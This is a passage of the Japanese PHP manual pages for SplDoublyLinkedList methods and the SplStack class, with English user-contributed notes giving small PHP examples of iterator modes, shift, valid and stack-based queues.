IT_MODE_KEEP => int(0)

With the FIFO and KEEP flags both defined as zero, you can run into an ambiguity when trying to discern what modes have been activated when trying to use bitwise deduction as one might be lead to believe considering the bitwise way you set the iterator mode (at least in v5.3.5, haven't tested any others).

Consider this example:

<?php

$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode(); #int(1)

var_dump(($mode & SplDoublyLinkedList::IT_MODE_FIFO) == SplDoublyLinkedList::IT_MODE_FIFO); #outputs true
var_dump(($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO); #outputs false
var_dump(($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE); #outputs true
var_dump(($mode & SplDoublyLinkedList::IT_MODE_KEEP) == SplDoublyLinkedList::IT_MODE_KEEP); #outputs true (huh?!)

?>

Regardless of whatever the getIteratorMode tells you, the object DOES correctly honor the configuration that was set as far as I can tell.

The way you SHOULD do it (at least until they add any more options):

Basically, you should just check the non-zero flags (LIFO(2) and DELETE(1)).  Since it's an either/or situation within the pairs, this should be able to help you figure out the separate mode pieces an instance has been set to.

example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode();

$isLIFO = ($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO;

$isDELETE = ($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE;
?>

Hope this can help someone.


双方向リンクリストが空かどうかを調べる

  • ≪ SplDoublyLinkedList::getIteratorMode
  • SplDoublyLinkedList::key ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 双方向リンクリストが空かどうかを調べる

SplDoublyLinkedList::isEmpty

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::isEmpty — 双方向リンクリストが空かどうかを調べる

説明

public SplDoublyLinkedList::isEmpty ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

双方向リンクリストが空かどうかを返します。

User Contributed Notes

lincoln dot du dot j at gmail dot com 10-Jul-2017 07:53
//isEmpty is a method of SplDoublyLinkedList

$obj = new SplDoublyLinkedList();
// Check wither linked list is empty
if ($obj->isEmpty())
{
    $obj->push(2);
    $obj->unshift(10);
}
print_r($obj);

//Output like this
SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 10
            [1] => 2
        )

)


現在のノードのインデックスを返す

  • ≪ SplDoublyLinkedList::isEmpty
  • SplDoublyLinkedList::next ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 現在のノードのインデックスを返す

SplDoublyLinkedList::key

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::key — 現在のノードのインデックスを返す

説明

public SplDoublyLinkedList::key ( ) : mixed

この館数は、現在のノードのインデックスを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のノードのインデックスを返します。

User Contributed Notes

There are no user contributed notes for this page.


次のエントリに移動する

  • ≪ SplDoublyLinkedList::key
  • SplDoublyLinkedList::offsetExists ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 次のエントリに移動する

SplDoublyLinkedList::next

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::next — 次のエントリに移動する

説明

public SplDoublyLinkedList::next ( ) : void

イテレータを次のノードに移動します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

Anonymous 17-Feb-2014 10:44
$dll = new SplDoublyLinkedList();

$dll->push(2);
$dll->push(3);
$dll->unshift(5);
$dll->rewind();

while($dll->valid()){
    echo $dll->current().'<br />';
    $dll->next();//switch to next list item
}


指定した $index が存在するかどうかを返す

  • ≪ SplDoublyLinkedList::next
  • SplDoublyLinkedList::offsetGet ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 指定した $index が存在するかどうかを返す

SplDoublyLinkedList::offsetExists

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::offsetExists — 指定した $index が存在するかどうかを返す

説明

public SplDoublyLinkedList::offsetExists ( mixed $index ) : bool

パラメータ

index

調べたいインデックス。

返り値

指定した index が存在する場合に true、 それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


指定した $index の値を返す

  • ≪ SplDoublyLinkedList::offsetExists
  • SplDoublyLinkedList::offsetSet ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 指定した $index の値を返す

SplDoublyLinkedList::offsetGet

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::offsetGet — 指定した $index の値を返す

説明

public SplDoublyLinkedList::offsetGet ( mixed $index ) : mixed

パラメータ

index

値を取得したいインデックス。

返り値

指定した index の値を返します。

エラー / 例外

index が範囲外を指すときや index が整数として解釈できないときに OutOfRangeException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


指定した $index の値を $newval に設定する

  • ≪ SplDoublyLinkedList::offsetGet
  • SplDoublyLinkedList::offsetUnset ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 指定した $index の値を $newval に設定する

SplDoublyLinkedList::offsetSet

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::offsetSet — 指定した $index の値を $newval に設定する

説明

public SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval ) : void

指定した index の値を newval に設定します。

パラメータ

index

設定したいインデックス。

newval

index の新しい値。

返り値

値を返しません。

エラー / 例外

index が範囲外を指すときや index が整数として解釈できないときに OutOfRangeException をスローします。

User Contributed Notes

chanel at lipski-development dot de 25-Feb-2018 03:21
How to change elements of a SplDoublyLinkedList
<?php

function change_elements($list,$old_index,$new_index){

$tmp1=$list->offsetGet($old_index);
$tmp2=$list->offsetGet($new_index);
$list->offsetSet($old_index,$tmp2);
$list->offsetSet($new_index,$tmp1);

}

$list=new SplDoublyLinkedList();
$list->push("A");
$list->push("B");
$list->push("C");

/*
OUTPUT
A
B
C
*/

change_elements($list,0,1);

/*
OUTPUT
B
A
C
*/

?>


指定した $index の値を削除する

  • ≪ SplDoublyLinkedList::offsetSet
  • SplDoublyLinkedList::pop ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 指定した $index の値を削除する

SplDoublyLinkedList::offsetUnset

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::offsetUnset — 指定した $index の値を削除する

説明

public SplDoublyLinkedList::offsetUnset ( mixed $index ) : void

指定したインデックスの値を削除します。

パラメータ

index

削除したいインデックス。

返り値

値を返しません。

エラー / 例外

index が範囲外を指すときや index が整数として解釈できないときに OutOfRangeException をスローします。

User Contributed Notes

marco dot paulo dot lopes at gmail dot com 31-May-2011 05:40
When unsetting an offset, the element will be removed from the double linked list. So the following code:

<?php

$obj = new SplDoublyLinkedList();

$obj->push(4);
$obj->push(5);
$obj->push(6);

$obj->offsetUnset(1);
echo "Our Linked List:";
print_r($obj);

?>

Will output:

Our Linked List:SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 4
            [1] => 5
            [2] => 6
        )

)
Our New Linked List:SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 4
            [1] => 6
        )

Notice that the element with the index 2 has now the index 1. The original element with index 1 did not only had it's value unset but was also removed from the list.


双方向リンクリストの末尾からノードを取り出す

  • ≪ SplDoublyLinkedList::offsetUnset
  • SplDoublyLinkedList::prev ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 双方向リンクリストの末尾からノードを取り出す

SplDoublyLinkedList::pop

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::pop — 双方向リンクリストの末尾からノードを取り出す

説明

public SplDoublyLinkedList::pop ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

取り出したノードの値を返します。

エラー / 例外

データが空のときは RuntimeException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


前のエントリに移動する

  • ≪ SplDoublyLinkedList::pop
  • SplDoublyLinkedList::push ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 前のエントリに移動する

SplDoublyLinkedList::prev

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::prev — 前のエントリに移動する

説明

public SplDoublyLinkedList::prev ( ) : void

イテレータを前のノードに移動します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


双方向リンクリストの末尾に要素を追加する

  • ≪ SplDoublyLinkedList::prev
  • SplDoublyLinkedList::rewind ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 双方向リンクリストの末尾に要素を追加する

SplDoublyLinkedList::push

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::push — 双方向リンクリストの末尾に要素を追加する

説明

public SplDoublyLinkedList::push ( mixed $value ) : void

value を双方向リンクリストの末尾に追加します。

パラメータ

value

追加したい値。

返り値

値を返しません。

User Contributed Notes

chicotec dot asm at gmail dot com 14-Feb-2019 09:00
You can also push an element at the end of the doubly linked list like in a simple array with square brackets:

$spl = new SplDoublyLinkedList;

$spl[] = 1;
$spl[] = 2;
$spl[] = 3;
$spl[] = 4;

print_r($spl);
lincoln dot du dot j at gmail dot com 11-Jul-2017 05:35
$spl = new SplDoublyLinkedList;

$spl->push(1);
$spl->push(2);
$spl->push(3);
$spl->push(8);
$spl->push(5);

print_r($spl);
Gilles A 30-Sep-2014 02:18
Be careful SplStack mode is LIFO (Last In First Out) not FIFO (First in First Out)
<?php
// Array (FIFO)
$stack = array();
array_push($stack,"orange");
array_push($stack,"banana");
array_push($stack,"apple");
array_push($stack,"raspberry");

var_dump($stack);
?>
// result

array (size=4)
  0 => string 'orange' (length=6)
  1 => string 'banana' (length=6)
  2 => string 'apple' (length=5)
  3 => string 'raspberry' (length=9)

<?php
// SplStack (LIFO)
$stack = new SplStack();
$stack ->push('orange');
$stack ->push('banana');
$stack ->push('apple');
$stack->push('raspberry');

$stack->rewind();
while($stack->valid()){
    var_dump($stack->current());
    $stack->next();

}
?>
//result
string 'raspberry' (length=9)
string 'apple' (length=5)
string 'banana' (length=6)
string 'orange' (length=6)


イテレータを先頭に巻き戻す

  • ≪ SplDoublyLinkedList::push
  • SplDoublyLinkedList::serialize ≫
  • PHP Manual
  • SplDoublyLinkedList
  • イテレータを先頭に巻き戻す

SplDoublyLinkedList::rewind

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::rewind — イテレータを先頭に巻き戻す

説明

public SplDoublyLinkedList::rewind ( ) : void

イテレータを先頭に巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

lincoln dot du dot j at gmail dot com 10-Jul-2017 08:42
$dll = new SplDoublyLinkedList();
$dll->push(2);
$dll->push(3);
$dll->unshift(5);
$dll->rewind(); // starting from beginning without this it will not work

while($dll->valid()){
    echo $dll->current()."\n";
    $dll->next();
}

//Output
5
2
3


ストレージをシリアライズする

  • ≪ SplDoublyLinkedList::rewind
  • SplDoublyLinkedList::setIteratorMode ≫
  • PHP Manual
  • SplDoublyLinkedList
  • ストレージをシリアライズする

SplDoublyLinkedList::serialize

(PHP 5 >= 5.4.0, PHP 7)

SplDoublyLinkedList::serialize — ストレージをシリアライズする

説明

public SplDoublyLinkedList::serialize ( ) : string

ストレージをシリアライズします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

シリアライズした文字列を返します。

参考

  • SplDoublyLinkedList::unserialize() - ストレージをデシリアライズする

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:52
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

$serialize=serialize($a);

echo $serialize;

echo PHP_EOL,PHP_EOL;

$unserialze=unserialize($serialize);

print_r($unserialze);


反復処理のモードを設定する

  • ≪ SplDoublyLinkedList::serialize
  • SplDoublyLinkedList::shift ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 反復処理のモードを設定する

SplDoublyLinkedList::setIteratorMode

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::setIteratorMode — 反復処理のモードを設定する

説明

public SplDoublyLinkedList::setIteratorMode ( int $mode ) : void

パラメータ

mode

次の 2 種類の直交するモードを設定できます。

  • 反復処理の方向 (いずれかを選択)
    • SplDoublyLinkedList::IT_MODE_LIFO (スタック方式)
    • SplDoublyLinkedList::IT_MODE_FIFO (キュー方式)
  • イテレータの振る舞い (いずれかを選択)
    • SplDoublyLinkedList::IT_MODE_DELETE (イテレータが要素を削除する)
    • SplDoublyLinkedList::IT_MODE_KEEP (イテレータが要素を順にたどる)

デフォルトのモードは SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLnkedList::IT_MODE_KEEP です。

返り値

値を返しません。

User Contributed Notes

gregorypatmore at gmail dot com 11-Dec-2011 11:15
Despite the seeming unrelated-ness between the FIFO/LIFO and the KEEP/DELETE option pairs, in respect to the behavior of setIteratorMode they are in some way linked.  Meaning, a second call to setIteratorMode will erase any previous settings even if they are from the other pair.  This, coupled with the default settings for the object (SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP), means you have to be careful or you can run into trouble

Consider the following example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_DELETE);
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO);

$mode = $l->getIteratorMode();
var_dump("MODE: $mode");
var_dump("MODE CHECKS");
var_dump(($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_FIFO) == SplDoublyLinkedList::IT_MODE_FIFO);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_KEEP) == SplDoublyLinkedList::IT_MODE_KEEP);

$l->push('A');
$l->push('B');
$l->push('C');
$l->push('D');
$l->rewind();

var_dump("Traversing");
var_dump($l->isEmpty());

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->isEmpty());

?>

Which outputs the following:
#############################
string(7) "MODE: 2"

string(11) "MODE CHECKS"
bool(true) #LIFO (ok)
bool(true) #FIFO (umm...wait a minute)
bool(false)#DELETE (houston... wtf)
bool(true) #KEEP (ok, where's the camera hidden)

string(10) "Traversing"
bool(false)

int(4)
string(1) "D"

int(4)
string(1) "C"

int(4)
string(1) "B"

int(4)
string(1) "A"

int(4)
bool(false)
#############################

Basically, you should just check the non-zero flags (LIFO(2) and DELETE(1)).  Since it's an either/or situation within the pairs, this should be able to help you figure out the separate mode pieces an instance has been set to.

example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode();

$isLIFO = ($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO;

$isDELETE = ($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE;
?>

hope this helps someone.
pritiatwork at gmail dot com 07-Sep-2011 11:39
Usage of different Iterator Mode

<?php
$doubly=new SplDoublyLinkedList();
$doubly->push(array('name'=>'Naruto'));
$doubly->push(array('name'=>'Sakura'));
$doubly->push(array('name'=>'Neji'));
$doubly->push(array('name'=>'Sasuke'));
var_dump($doubly);
echo '<br/> FIFO Traversing<br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP);
$doubly->rewind();
foreach($doubly as $key=>$value)
{
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}
echo '<br/>LIFO Traversing - Keep mode <br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_KEEP);
$doubly->rewind();
foreach($doubly as $key=>$value)
{
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}

echo '<br/>LIFO Traversing - Delete mode <br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_DELETE);
$doubly->rewind();

foreach($doubly as $key=>$value)
{
    if($key == 2) break;
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}
var_dump($doubly);
?>

Output:

FIFO Traversing

Traversed:0 Naruto
Traversed:1 Sakura
Traversed:2 Neji
Traversed:3 Sasuke
LIFO Traversing - Keep mode

Traversed:3 Sasuke
Traversed:2 Neji
Traversed:1 Sakura
Traversed:0 Naruto
LIFO Traversing - Delete mode

Traversed:3 Sasuke
object(SplDoublyLinkedList)#1 (2) {
  ["flags":"SplDoublyLinkedList":private]=>
  int(3)
  ["dllist":"SplDoublyLinkedList":private]=>
  array(3) {
    [0]=>
    array(1) {
      ["name"]=>
      string(6) "Naruto"
    }
    [1]=>
    array(1) {
      ["name"]=>
      string(6) "Sakura"
    }
    [2]=>
    array(1) {
      ["name"]=>
      string(4) "Neji"
    }
  }
}


双方向リンクリストの先頭からノードを取り出す

  • ≪ SplDoublyLinkedList::setIteratorMode
  • SplDoublyLinkedList::top ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 双方向リンクリストの先頭からノードを取り出す

SplDoublyLinkedList::shift

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::shift — 双方向リンクリストの先頭からノードを取り出す

説明

public SplDoublyLinkedList::shift ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

取り出したノードの値を返します。

エラー / 例外

データが空のときは RuntimeException をスローします。

User Contributed Notes

fabs2s at marsatak dot org 28-Feb-2017 10:41
One may expect SplDoublyLinkedList::shift to properly maintain internal pointers, but this is not the case, this will yield no results, even if you rewind first

<?php
while ($splDoublyLinkedList->valid()) {
    yield $splDoublyLinkedList->shift();
}
?>

It could be by design, but the following raises some more questions :

<?php

$test = new \SplDoublyLinkedList;
$dataSet = [
    ['id' => 1],
    ['id' => 2],
    ['id' => 3],
    ['id' => 4],
];

foreach ($dataSet as $row) {
    $test->push($row);
}

echo "count: " . $test->count() . PHP_EOL;
echo "valid: " . ($test->valid() ? 'true' : 'false') . PHP_EOL;
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "key: " . $test->key() . PHP_EOL;
echo "1st shift: " . var_export($test->shift(), true) . PHP_EOL;
echo "count: " . $test->count() . PHP_EOL;
echo "valid: " . ($test->valid() ? 'true' : 'false') . PHP_EOL;
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "key: " . $test->key() . PHP_EOL;
echo "2nd shift: " . var_export($test->shift(), true) . PHP_EOL;
echo "count: " . $test->count() . PHP_EOL;
echo "valid: " . ($test->valid() ? 'true' : 'false') . PHP_EOL;
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "key: " . $test->key() . PHP_EOL;
echo "rewinding... " . PHP_EOL;
$test->rewind();
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "2nd shift: " . var_export($test->shift(), true) . PHP_EOL;
echo "count: " . $test->count() . PHP_EOL;
echo "valid: " . ($test->valid() ? 'true' : 'false') . PHP_EOL;
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "key: " . $test->key() . PHP_EOL;
?>

will result in :
<?php

/*
count: 4
valid: false                       <== First thing to note, you have no valid pointer unless you rewind first
current: NULL                  <== hence no current
key: 0                                <== but we have a valid key
offsetGet(key): array (    <== indeed
  'id' => 1,
)
1st shift: array (               <== and shift does return first row
  'id' => 1,
)
count: 3                            <== and count is maintained as expected
valid: false                      <== but internal pointer was left outside valid range
current: NULL                 <== hence no current again
key: 0                                <== but we still have a valid key
offsetGet(key): array (   <== indeed
  'id' => 2,
)
2nd shift: array (             <== and shift does return first row
  'id' => 2,
)
count: 2                           <== and count is maintained as expected
valid: false                      <== still not valid etc ..
current: NULL
key: 0
offsetGet(key): array (
  'id' => 3,
)
rewinding...                    <== now rewind
current: array (             <== yay a current
  'id' => 3,
)
3rd shift: array (            <== shift ok
  'id' => 3,
)
count: 1                          <== count ok
valid: true                     <== ouch valid
current: NULL               <== with no current
key: 0                              <== still our key is valid :o
offsetGet(key): array (
  'id' => 4,
)
*/
?>

Conclusion : I may be missing something about why SplDoublyLinkedList::shift is not maintaining proper internal index in the first place, but I find it even more confusing to be able to end up with a valid valid() and a valid key() and no current() while there is obviously one.

Tested on php 5.6.30 & 7.1.2 with the exact same result.


双方向リンクリストの最後のノードを取得する

  • ≪ SplDoublyLinkedList::shift
  • SplDoublyLinkedList::unserialize ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 双方向リンクリストの最後のノードを取得する

SplDoublyLinkedList::top

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::top — 双方向リンクリストの最後のノードを取得する

説明

public SplDoublyLinkedList::top ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

最後のノードの値を返します。

エラー / 例外

データが空のときは RuntimeException をスローします。

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:31
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

echo "SplDoublyLinkedList array last/top value " .  $a->top() ." \n";
echo "SplDoublyLinkedList array first/top value " . $a->bottom() . " \n\n";

print_r($a);

//Another Example
$spl = new SplDoublyLinkedList;

$spl->push(11);
$spl->push(2);
$spl->push(3);
$spl->push(8);
$spl->push(5);

//array last value
echo $spl->top();
echo PHP_EOL;
//Array first value
echo $spl->bottom();
echo PHP_EOL;

print_r($spl);


ストレージをデシリアライズする

  • ≪ SplDoublyLinkedList::top
  • SplDoublyLinkedList::unshift ≫
  • PHP Manual
  • SplDoublyLinkedList
  • ストレージをデシリアライズする

SplDoublyLinkedList::unserialize

(PHP 5 >= 5.4.0, PHP 7)

SplDoublyLinkedList::unserialize — ストレージをデシリアライズする

説明

public SplDoublyLinkedList::unserialize ( string $serialized ) : void

SplDoublyLinkedList::serialize() でシリアライズしたストレージを復元します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

serialized

シリアライズした文字列。

返り値

値を返しません。

参考

  • SplDoublyLinkedList::serialize() - ストレージをシリアライズする

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:52
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

$serialize=serialize($a);

echo $serialize;

echo PHP_EOL,PHP_EOL;

$unserialze=unserialize($serialize);

print_r($unserialze);


双方向リンクリストの先頭に要素を追加する

  • ≪ SplDoublyLinkedList::unserialize
  • SplDoublyLinkedList::valid ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 双方向リンクリストの先頭に要素を追加する

SplDoublyLinkedList::unshift

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::unshift — 双方向リンクリストの先頭に要素を追加する

説明

public SplDoublyLinkedList::unshift ( mixed $value ) : void

value を双方向リンクリストの先頭に追加します。

パラメータ

value

追加する値。

返り値

値を返しません。

User Contributed Notes

lincoln dot du dot j at gmail dot com 10-Jul-2017 08:40
$dll = new SplDoublyLinkedList();
$dll->push(2);
$dll->push(3);
$dll->unshift(5); // add 5 beginning of the array
$dll->rewind();

while($dll->valid()){
    echo $dll->current()."\n";
    $dll->next();
}

Output

5
2
3


双方向リンクリストにまだノードがあるかどうかを調べる

  • ≪ SplDoublyLinkedList::unshift
  • SplStack ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 双方向リンクリストにまだノードがあるかどうかを調べる

SplDoublyLinkedList::valid

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::valid — 双方向リンクリストにまだノードがあるかどうかを調べる

説明

public SplDoublyLinkedList::valid ( ) : bool

双方向リンクリストにまだノードがあるかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

双方向リンクリストにまだノードが含まれる場合に true、 そうでない場合に false を返します。

User Contributed Notes

phpdude at zootal dot com 23-Aug-2017 09:40
The docs say "Check whether the doubly linked list contains more nodes". I do not believe this is correct.

Example:

$dlist = new SplDoublyLinkedList;
$data=[1,2,3,4,5];

foreach($data as $d)
    $dlist->push($d);
$dlist->rewind();

for($i=0;$i<6;$i++)
{
    $currentValue = $dlist->current();
    $currentValid = $dlist->valid();

    $status = $currentValid ? 'True' : 'False';
    echo 'Current value is: ' . $currentValue . ' Valid status is: ' . $status . "\n";

    $dlist->next();
}

Output:

Current value is: 1 Valid status is: True
Current value is: 2 Valid status is: True
Current value is: 3 Valid status is: True
Current value is: 4 Valid status is: True
Current value is: 5 Valid status is: True
Current value is:  Valid status is: False

Note that when we are on the last node of the list, value = 5, the valid() function returns true. Yet we are on the last node of the list, and there are no more nodes. If the valid() function were checking to see if there were any more nodes on the list, it would return false, not true.

If you look at the docs for Iterator::valid, they say "Checks if current position is valid". I believe that is in fact what valid() does, it checks to see if the *current* position is valid, *not* if there are any more nodes.

Be aware of this or it will bite you. You can happily iterate to the end of the list, run valid(), think there is one more node, do a next(), grab the value, and you get null instead of the last node of the list.
lincoln dot du dot j at gmail dot com 11-Jul-2017 05:39
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

$a->rewind();

while($a->valid()){
    echo 'key ', $a->key(), ' value ', $a->current(),"\n";
    $a->next();
}


SplStack クラス

(PHP 5 >= 5.3.0, PHP 7)

はじめに

SplStack クラスは、スタックの主要な機能を提供します。 双方向リンクリストを使用して実装しています。

クラス概要

SplStack extends SplDoublyLinkedList implements Iterator , ArrayAccess , Countable {
/* メソッド */
public __construct ( )
public setIteratorMode ( int $mode ) : void
/* 継承したメソッド */
public SplDoublyLinkedList::add ( mixed $index , mixed $newval ) : void
public SplDoublyLinkedList::bottom ( ) : mixed
public SplDoublyLinkedList::count ( ) : int
public SplDoublyLinkedList::current ( ) : mixed
public SplDoublyLinkedList::getIteratorMode ( ) : int
public SplDoublyLinkedList::isEmpty ( ) : bool
public SplDoublyLinkedList::key ( ) : mixed
public SplDoublyLinkedList::next ( ) : void
public SplDoublyLinkedList::offsetExists ( mixed $index ) : bool
public SplDoublyLinkedList::offsetGet ( mixed $index ) : mixed
public SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval ) : void
public SplDoublyLinkedList::offsetUnset ( mixed $index ) : void
public SplDoublyLinkedList::pop ( ) : mixed
public SplDoublyLinkedList::prev ( ) : void
public SplDoublyLinkedList::push ( mixed $value ) : void
public SplDoublyLinkedList::rewind ( ) : void
public SplDoublyLinkedList::serialize ( ) : string
public SplDoublyLinkedList::setIteratorMode ( int $mode ) : void
public SplDoublyLinkedList::shift ( ) : mixed
public SplDoublyLinkedList::top ( ) : mixed
public SplDoublyLinkedList::unserialize ( string $serialized ) : void
public SplDoublyLinkedList::unshift ( mixed $value ) : void
public SplDoublyLinkedList::valid ( ) : bool
}

目次

  • SplStack::__construct — 双方向リンクリストを使用して実装した新しい空のスタックを作成する
  • SplStack::setIteratorMode — 反復処理のモードを設定する

User Contributed Notes

daryledesilva at gmail dot com 02-Nov-2019 03:49
<?php

// Exercise: Implement Queue using Stacks

class MyQueue {
    protected $queue;

    /**
     * Initialize your data structure here.
     */
    function __construct() {
        $this->queue = new \SplStack;
    }

    /**
     * Push element x to the back of queue.
     * @param Integer $x
     * @return NULL
     */
    function push($x) {
        $this->queue->push($x);
    }

    /**
     * Removes the element from in front of queue and returns that element.
     * @return Integer
     */
    function pop() {
        $length = count($this->queue);
        $temp = [];
        while(!$this->queue->isEmpty()){
            $rv = $this->queue->pop();
            if(!$this->queue->isEmpty()){
                $temp[] = $rv;
            }
        }
        for($i = count($temp)-1; $i >= 0; $i--){
            $this->queue->push($temp[$i]);
        }
        return $rv;
    }

    /**
     * Get the front element.
     * @return Integer
     */
    function peek() {
        return $this->queue->bottom();
    }

    /**
     * Returns whether the queue is empty.
     * @return Boolean
     */
    function empty() {
        return $this->queue->isEmpty();
    }
}

/**
 * Your MyQueue object will be instantiated and called as such:
 * $obj = MyQueue();
 * $obj->push($x);
 * $ret_2 = $obj->pop();
 * $ret_3 = $obj->peek();
 * $ret_4 = $obj->empty();
 */
lincoln dot du dot j at gmail dot com 12-Jul-2017 06:48
<?php
//SplStack Mode is LIFO (Last In First Out)

$q = new SplStack();

$q[] = 1;
$q[] = 2;
$q[] = 3;
$q->push(4);
$q->add(4,5);

$q->rewind();
while($q->valid()){
    echo $q->current(),"\n";
    $q->next();
}
?>

Output
5
4
3
2
1
lsroudi at gmail dot com 19-Jan-2014 08:07
<?php

/**
 * Description of Stack
 *
 * (c) lsroudi <http://lsroudi.com/> <lsroudi@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
class Stack {

    private $splstack;

    function __construct(\SplStack $splstack)
    {
        $this->splstack = $splstack;
    }

    public function calculateSomme()
    {

        if ($this->splstack->count() > 1){
